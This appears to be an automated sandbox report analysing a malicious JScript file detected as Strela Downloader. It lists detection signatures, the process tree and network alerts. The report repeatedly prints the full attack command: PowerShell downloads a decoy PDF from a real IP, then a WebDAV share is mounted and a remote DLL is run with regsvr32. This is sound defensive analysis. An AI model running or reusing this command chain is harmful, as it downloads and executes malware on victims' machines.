Edit tour

Windows Analysis Report
3244127882174020209.js

Overview

General Information

Sample name:	3244127882174020209.js
Analysis ID:	1588908
MD5:	f66622522c8909b7d3f9656c32e23445
SHA1:	23c9d1602ef6a6965f81347727e7d99cf237ae82
SHA256:	c95006d1bbb9c8c77d446776631515cb4cde9c5eed8f401b98bd9441b1f24c2d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3416 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5456 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6596 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7556 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7736 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1760,i,15597962635925124869,13760703389510911259,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7352 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7452 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7624 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3416	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6596, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6596, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ProcessId: 3416, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7452, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ProcessId: 3416, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5456, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6596, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7452, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7624, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7452, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3244127882174020209.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\54691007130206.dll, ProcessId: 5456, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:01:50.371558+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:01:52.487133+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:01:50.371558+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3244127882174020209.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3244127882174020209.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3244127882174020209.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:01:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a 